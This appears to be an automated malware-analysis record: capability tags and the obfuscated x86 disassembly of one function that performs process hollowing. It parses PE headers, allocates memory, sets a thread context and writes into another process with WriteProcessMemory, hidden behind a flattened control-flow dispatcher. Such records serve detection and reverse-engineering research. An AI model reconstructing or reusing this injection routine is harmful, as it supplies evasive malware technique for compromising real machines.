Function at 0x1000b7f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1bc
mov eax, dword [0x1007d280]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1c4], 0x8cb60634
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x1c8], eax
sub eax, 0x80acf2af
je 0x10010543
jmp 0x1000b82c
mov eax, dword [ebp - 0x1c8]
sub eax, 0x81cd6146
je 0x1000ef5b
jmp 0x1000b842
mov eax, dword [ebp - 0x1c8]
sub eax, 0x820ce77a
je 0x10011836
jmp 0x1000b858
mov eax, dword [ebp - 0x1c8]
sub eax, 0x8216a422
je 0x1000ee11
jmp 0x1000b86e
mov eax, dword [ebp - 0x1c8]
sub eax, 0x8217fb9a
je 0x10010b54
jmp 0x1000b884
mov eax, dword [ebp - 0x1c8]
sub eax, 0x8221e7d3
je 0x1000f2a1
jmp 0x1000b89a
mov eax, dword [ebp - 0x1c8]
sub eax, 0x83254eaf
je 0x100106bf
jmp 0x1000b8b0
mov eax, dword [ebp - 0x1c8]
sub eax, 0x83bd0a3d
je 0x1000e23a
jmp 0x1000b8c6
mov eax, dword [ebp - 0x1c8]
sub eax, 0x840ea11a
je 0x10011c9e
jmp 0x1000b8dc
mov eax, dword [ebp - 0x1c8]
sub eax, 0x84938291
je 0x1000f286
jmp 0x1000b8f2
mov eax, dword [ebp - 0x1c8]
sub eax, 0x85da76a3
je 0x1000e454
jmp 0x1000b908
mov eax, dword [ebp - 0x1c8]
sub eax, 0x8764ef7e
je 0x100117f5
jmp 0x1000b91e
mov eax, dword [ebp - 0x1c8]
sub eax, 0x87b8c280
je 0x1000f205
jmp 0x1000b934
mov eax, dword [ebp - 0x1c8]
sub eax, 0x893c4099
je 0x10011323
jmp 0x1000b94a
mov eax, dword [ebp - 0x1c8]
sub eax, 0x89c3eb59
je 0x10011b6f
jmp 0x1000b960
mov eax, dword [ebp - 0x1c8]
sub eax, 0x89c57dea
je 0x100103f8
jmp 0x1000b976
mov eax, dword [ebp - 0x1c8]
sub eax, 0x8a346eda
je 0x10010ab5
jmp 0x1000b98c
mov eax, dword [ebp - 0x1c8]
sub eax, 0x8abd5e89
je 0x1001158c
jmp 0x1000b9a2
mov eax, dword [ebp - 0x1c8]
sub eax, 0x8b4a993c
je 0x100101e7
jmp 0x1000b9b8
mov eax, dword [ebp - 0x1c8]
sub eax, 0x8ba7e2cc
je 0x1000f850
jmp 0x1000b9ce
mov eax, dword [ebp - 0x1c8]
sub eax, 0x8be724c8
je 0x1000e9de
jmp 0x1000b9e4
mov eax, dword [ebp - 0x1c8]
sub eax, 0x8cb60634
je 0x1000d62f
jmp 0x1000b9fa
mov eax, dword [ebp - 0x1c8]
sub eax, 0x8d853d12
je 0x100117e6
jmp 0x1000ba10
mov eax, dword [ebp - 0x1c8]
sub eax, 0x8dd07fd7
je 0x100110a6
jmp 0x1000ba26
mov eax, dword [ebp - 0x1c8]
sub eax, 0x918538a8
je 0x1000d8a5
jmp 0x1000ba3c
mov eax, dword [ebp - 0x1c8]
sub eax, 0x929669da
je 0x1000ff14
jmp 0x1000ba52
mov eax, dword [ebp - 0x1c8]
sub eax, 0x92c943a4
je 0x1000db6b
jmp 0x1000ba68
mov eax, dword [ebp - 0x1c8]
sub eax, 0x93c84540
je 0x1000f504
jmp 0x1000ba7e
mov eax, dword [ebp - 0x1c8]
sub eax, 0x950e31a4
je 0x1000ef8f
jmp 0x1000ba94
mov eax, dword [ebp - 0x1c8]
sub eax, 0x9556ff17
je 0x1000d69d
jmp 0x1000baaa
mov eax, dword [ebp - 0x1c8]
sub eax, 0x955fbe11
je 0x1000fe7d
jmp 0x1000bac0
mov eax, dword [ebp - 0x1c8]
sub eax, 0x959d8ed5
je 0x1000ff9b
jmp 0x1000bad6
mov eax, dword [ebp - 0x1c8]
sub eax, 0x9630b5ff
je 0x1000f1e0
jmp 0x1000baec
mov eax, dword [ebp - 0x1c8]
sub eax, 0x98b77316
je 0x1000dde4
jmp 0x1000bb02
mov eax, dword [ebp - 0x1c8]
sub eax, 0x996c524c
je 0x100118f2
jmp 0x1000bb18
mov eax, dword [ebp - 0x1c8]
sub eax, 0x9a46984a
je 0x10011c16
jmp 0x1000bb2e
mov eax, dword [ebp - 0x1c8]
sub eax, 0x9ac2f72a
je 0x1001180e
jmp 0x1000bb44
mov eax, dword [ebp - 0x1c8]
sub eax, 0x9b2b329d
je 0x1000f53b
jmp 0x1000bb5a
mov eax, dword [ebp - 0x1c8]
sub eax, 0x9f73cc76
je 0x10010e8f
jmp 0x1000bb70
mov eax, dword [ebp - 0x1c8]
sub eax, 0x9f9e031d
je 0x10011559
jmp 0x1000bb86
mov eax, dword [ebp - 0x1c8]
sub eax, 0x9fb92ac6
je 0x10010422
jmp 0x1000bb9c
mov eax, dword [ebp - 0x1c8]
sub eax, 0xa0310136
je 0x1000f08a
jmp 0x1000bbb2
mov eax, dword [ebp - 0x1c8]
sub eax, 0xa0f0bb10
je 0x10011029
jmp 0x1000bbc8
mov eax, dword [ebp - 0x1c8]
sub eax, 0xa10103e8
je 0x1000fff0
jmp 0x1000bbde
mov eax, dword [ebp - 0x1c8]
sub eax, 0xa17403f2
je 0x1000f5ed
jmp 0x1000bbf4
mov eax, dword [ebp - 0x1c8]
sub eax, 0xa19ba86f
je 0x1000ead9
jmp 0x1000bc0a
mov eax, dword [ebp - 0x1c8]
sub eax, 0xa1c51c9a
je 0x1000ec92
jmp 0x1000bc20
mov eax, dword [ebp - 0x1c8]
sub eax, 0xa4d424a7
je 0x1000da95
jmp 0x1000bc36
mov eax, dword [ebp - 0x1c8]
sub eax, 0xa6478992
je 0x1001025c
jmp 0x1000bc4c
mov eax, dword [ebp - 0x1c8]
sub eax, 0xa6cdd9d7
je 0x100114f5
jmp 0x1000bc62
mov eax, dword [ebp - 0x1c8]
sub eax, 0xa6f8cb72
je 0x1000fcdf
jmp 0x1000bc78
mov eax, dword [ebp - 0x1c8]
sub eax, 0xa7e6de72
je 0x10011979
jmp 0x1000bc8e
mov eax, dword [ebp - 0x1c8]
sub eax, 0xa7ed3435
je 0x1000e576
jmp 0x1000bca4
mov eax, dword [ebp - 0x1c8]
sub eax, 0xa7f2aeca
je 0x1000fc6d
jmp 0x1000bcba
mov eax, dword [ebp - 0x1c8]
sub eax, 0xa825122b
je 0x100118d9
jmp 0x1000bcd0
mov eax, dword [ebp - 0x1c8]
sub eax, 0xa954bb60
je 0x1000e7d9
jmp 0x1000bce6
mov eax, dword [ebp - 0x1c8]
sub eax, 0xaa00f737
je 0x10011c40
jmp 0x1000bcfc
mov eax, dword [ebp - 0x1c8]
sub eax, 0xaa2e4a31
je 0x1001196a
jmp 0x1000bd12
mov eax, dword [ebp - 0x1c8]
sub eax, 0xac73462d
je 0x1000f806
jmp 0x1000bd28
mov eax, dword [ebp - 0x1c8]
sub eax, 0xacc801aa
je 0x100117b2
jmp 0x1000bd3e
mov eax, dword [ebp - 0x1c8]
sub eax, 0xad8feeec
je 0x10010775
jmp 0x1000bd54
mov eax, dword [ebp - 0x1c8]
sub eax, 0xadc0828d
je 0x1000f0ab
jmp 0x1000bd6a
mov eax, dword [ebp - 0x1c8]
sub eax, 0xaeb11af5
je 0x1000f0d0
jmp 0x1000bd80
mov eax, dword [ebp - 0x1c8]
sub eax, 0xaf5d3ece
je 0x1001198f
jmp 0x1000bd96
mov eax, dword [ebp - 0x1c8]
sub eax, 0xb0055f3b
je 0x1001172e
push eax
mov eax, esp
mov dword [ebp - 0x170], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0x16c], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0x168], eax
push eax
mov eax, esp
mov dword [ebp - 0x164], eax
push eax
mov eax, esp
mov dword [ebp - 0x160], eax
push eax
mov eax, esp
mov dword [ebp - 0x15c], eax
push eax
mov eax, esp
mov dword [ebp - 0x158], eax
push eax
mov eax, esp
mov dword [ebp - 0x154], eax
push eax
mov eax, esp
mov dword [ebp - 0x150], eax
push eax
mov eax, esp
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x1c4], 0x9556ff17
jmp 0x10011d17
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x174], 0xefb8ee3
mov eax, 0x463b872e
mov ecx, 0xbe4ee5d2
cmp dword [ebp - 0x174], 0xefb8edf
cmovg eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov eax, dword [0x1007e754]
mov ecx, dword [0x1007e750]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xacc801aa
mov ecx, 0x46fbc5a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov ecx, dword [0x1007e754]
mov eax, dword [0x1007e750]
mov edx, ecx
add edx, 0xb2b1b99
sub edx, 1
sub edx, 0xb2b1b99
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x70d4b4fc
mov ecx, 0x51fad0d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov byte [ebp - 0x175], 1
mov dword [ebp - 0x1c4], 0x6aa72fcf
jmp 0x10011d17
mov dword [ebp - 0x17c], 0xefb8edf
mov ecx, dword [0x1007e754]
mov eax, dword [0x1007e750]
mov edx, ecx
add edx, 0x84583f59
sub edx, 1
sub edx, 0x84583f59
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9ac2f72a
mov ecx, 0xf9e9e96
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov byte [ebp - 0x17d], 1
mov dword [ebp - 0x1c4], 0xfa0d440b
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0xc14d5c06
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0x2e446eb9
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0xd7fbebf6
jmp 0x10011d17
mov ecx, dword [0x1007e754]
mov eax, dword [0x1007e750]
mov edx, ecx
sub edx, 0x82a32044
sub edx, 1
add edx, 0x82a32044
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x996c524c
mov ecx, 0x644fbf85
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov eax, dword [ebp - 0x114]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x1c4], 0xb983e0bf
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0xb983e0bf
jmp 0x10011d17
mov byte [ebp - 0x189], 0
mov eax, dword [0x1007e754]
mov ecx, dword [0x1007e750]
mov edx, eax
add edx, 0x7686e068
sub edx, 1
sub edx, 0x7686e068
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x25b45b28
mov ecx, 0xde5db97a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0x95e9232
jmp 0x10011d17
mov ecx, dword [0x1007e754]
mov eax, dword [0x1007e750]
mov edx, ecx
sub edx, 0x958ac2d0
sub edx, 1
add edx, 0x958ac2d0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaa2e4a31
mov ecx, 0x114e99a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov dl, byte [ebp - 0x18a]
mov eax, 0xadc0828d
mov ecx, 0xaeb11af5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov byte [ebp - 0x18a], 1
mov dword [ebp - 0x1c4], 0x43a7c49b
jmp 0x10011d17
mov byte [ebp - 0x18a], 1
mov dword [ebp - 0x1c4], 0x5ca2b188
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0x420d2794
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0x420d2794
jmp 0x10011d17
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x1c4], 0x8221e7d3
jmp 0x10011d17
mov edx, dword [ebp - 0x10c]
mov eax, 0xd78613ac
mov ecx, 0x3a71be61
cmp edx, 0xefb8ef2
cmovle eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov dl, byte [ebp - 0x101]
mov eax, 0xcaf6e4e4
mov ecx, 0x4a8ee3f4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0x4afe57bb
jmp 0x10011d17
mov byte [ebp - 0x191], 0
mov eax, dword [0x1007e754]
mov ecx, dword [0x1007e750]
mov edx, eax
add edx, 0xe13806af
sub edx, 1
sub edx, 0xe13806af
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd99cb26
mov ecx, 0xff873f36
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0x4afe57bb
jmp 0x10011d17
mov dword [ebp - 0x198], 0xefb8eda
mov dword [ebp - 0x1c4], 0x422e47d9
jmp 0x10011d17
mov dl, byte [ebp - 0xf7]
mov eax, 0x7168d28f
mov ecx, 0xbd60517e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov dword [ebp - 0x19c], 0xefb8ebe
mov ecx, dword [0x1007e754]
mov eax, dword [0x1007e750]
mov edx, ecx
add edx, 0x2b1fd336
sub edx, 1
sub edx, 0x2b1fd336
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x721661af
mov ecx, 0x25620807
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov dl, byte [ebp - 0xf6]
mov eax, 0x3db70f46
mov ecx, 0xbd1d6067
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov eax, dword [ebp - 0x19c]
add eax, 0x37342785
add eax, 1
sub eax, 0x37342785
mov dword [ebp - 0x19c], eax
mov ecx, dword [0x1007e754]
mov eax, dword [0x1007e750]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb4d99d08
mov ecx, 0x959d8ed5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0x1441b6a
jmp 0x10011d17
mov byte [ebp - 0x19d], 1
mov al, byte [ebp - 0x19d]
and al, 1
mov byte [ebp - 0xf5], al
mov dword [ebp - 0x1c4], 0x1019dcb
jmp 0x10011d17
mov byte [ebp - 0x19d], 1
mov ecx, dword [0x1007e754]
mov eax, dword [0x1007e750]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe245036f
mov ecx, 0xa6478992
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0x3c36ecc2
jmp 0x10011d17
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x1ac]
add eax, 0x3c
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x1c4], 0x9fb92ac6
jmp 0x10011d17
mov eax, dword [0x1007e754]
mov ecx, dword [0x1007e750]
mov edx, eax
sub edx, 0x8dddd4c5
sub edx, 1
add edx, 0x8dddd4c5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6b0620ed
mov ecx, 0x750c5264
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x1b4]
mov dword [eax], 0x10007
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1001dde0
add esp, 0xc
mov dword [ebp - 0x1c4], 0x5a03d2da
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0x4e2915cd
jmp 0x10011d17
mov eax, dword [0x1007e754]
mov ecx, dword [0x1007e750]
mov edx, eax
add edx, 0x8a418eb1
sub edx, 1
sub edx, 0x8a418eb1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5eeeb8fe
mov ecx, 0xe17dc49d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov eax, dword [ebp - 0xd8]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0xdc]
add ecx, eax
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x1b0]
xor eax, eax
sub eax, 0x18
sub ecx, eax
mov eax, dword [ebp - 0x1b0]
movzx eax, word [eax + 0x14]
add ecx, 0x72335e27
add ecx, eax
sub ecx, 0x72335e27
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov eax, dword [ebp - 0x160]
mov dword [eax], 0
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov dword [eax], 0
mov dword [ebp - 0x1c4], 0xed6fce88
jmp 0x10011d17
mov eax, dword [ebp - 0x1b0]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0xd4]
mov eax, 0xc7f480cd
mov ecx, 0x6551f448
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xb0]
add eax, 0x17db419e
sub eax, ecx
sub eax, 0x17db419e
mov ecx, dword [ebp - 0xb4]
add ecx, eax
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov dword [ebp - 0x1c4], 0x19ae0e90
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0x1afba16
jmp 0x10011d17
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0xa0]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0x99], al
mov eax, dword [0x1007e754]
mov ecx, dword [0x1007e750]
mov edx, eax
sub edx, 0x67bcf146
sub edx, 1
add edx, 0x67bcf146
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3f31a847
mov ecx, 0xb202076c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c4], eax
jmp 0x10011d17
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x1c4], 0xec7aae3c
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0xeceb94fa
jmp 0x10011d17
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x6c]
add ecx, 0x3200d426
add ecx, eax
sub ecx, 0x3200d426
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov dword [ebp - 0x1c4], 0xfdea307c
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0x5cd0e61d
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0x46fbc5a2
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0xd5917fd9
jmp 0x10011d17
mov dword [ebp - 0x17c], 0xefb8f01
mov dword [ebp - 0x1c4], 0x320ec4bb
jmp 0x10011d17
mov dword [ebp - 0x17c], 0xefb8edf
mov dword [ebp - 0x1c4], 0x98b77316
jmp 0x10011d17
mov dword [ebp - 0x17c], 1
mov dword [ebp - 0x1c4], 0xfa056cfb
jmp 0x10011d17
mov dword [ebp - 0x188], 0xefb8f19
mov dword [ebp - 0x1c4], 0xf0200cef
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0x644fbf85
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0x114e99a3
jmp 0x10011d17
mov byte [ebp - 0x18a], 1
mov dword [ebp - 0x1c4], 0xca57c0cd
jmp 0x10011d17
mov dword [ebp - 0x190], 1
mov dword [ebp - 0x1c4], 0xc6e7a1c0
jmp 0x10011d17
mov dword [ebp - 0x1c4], 0x4d36f83d
jmp 0x10011d17
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x1c4], 0x1a55067c
jmp 0x10011d17
mov eax, dword [ebp - 0x90]
mov eax, dword [eax + 0x34]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
add ecx, 0x938edb54
sub ecx, eax
sub ecx, 0x938edb54
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov dword [eax], 0
mov dword [ebp - 0x1c4], 0x27151fbd
jmp 0x10011d17
mov ecx, dword [ebp - 0x1c0]
sub ecx, 0x5bdf85c
add ecx, 8
add ecx, 0x5bdf85c
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x170]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x170]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1b0]
mov eax, dword [eax + 0x28]
sub ecx, 0x805742d7
add ecx, eax
add ecx, 0x805742d7
mov eax, dword [ebp - 0x1b4]
mov dword [eax + 0xb0], ecx
mov dword [ebp - 0x1c4], 0x6d9d7a0f
jmp 0x1000b810